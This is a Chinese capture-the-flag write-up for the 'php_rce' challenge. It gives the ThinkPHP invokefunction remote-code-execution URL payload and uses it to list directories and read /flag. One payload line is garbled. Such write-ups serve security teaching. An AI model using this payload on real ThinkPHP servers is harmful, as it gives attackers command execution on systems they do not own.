天天看點

攻防世界-web進階區-php_rce

前置知識

rce(遠端代碼執行漏洞)

1. 什麼是遠端代碼執行漏洞
遠端指令/代碼執行漏洞,簡稱RCE漏洞,可以讓攻擊者直接向背景伺服器遠端注入作業系統指令或者代碼,進而控制背景系統。RCE分為遠端指令執行ping和遠端代碼執行evel。

2. 漏洞産生的根本原因
伺服器沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令。
      

遠端代碼執行的漏洞

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(指令)

ls檢視

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

攻防世界-web進階區-php_rce

上一級 ls ../

根目錄下 ls /

查找flag find / -name "flag"

發現 flag打開flag cat /flag

Think PHP介紹

ThinkPHP是為了簡化企業級應用開發和靈活WEB應用開發而誕生的。最早誕生于2006年初,2007年元旦正式更名為ThinkPHP,并且遵循Apache2開源協定釋出。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡的代碼的同時,也注重易用性。并且擁有衆多原創功能和特性,在社群團隊的積極參與下,在易用性、擴充性和性能方面不斷優化和改進。

ThinkPHP是一個快速、相容而且簡單的輕量級國産PHP開發架構,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協定釋出,從Struts結構移植過來并做了改進和完善,同時也借鑒了國外很多優秀的架構和模式,使用面向對象的開發結構和MVC模式,融合了Struts的思想和TagLib(标簽庫)、RoR的ORM映射和ActiveRecord模式。

存在遠端控制漏洞

解題過程

關鍵路徑

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
      

在url後添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

發現flag檔案

在url後添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars​​1​​=cat /flag

獲得flag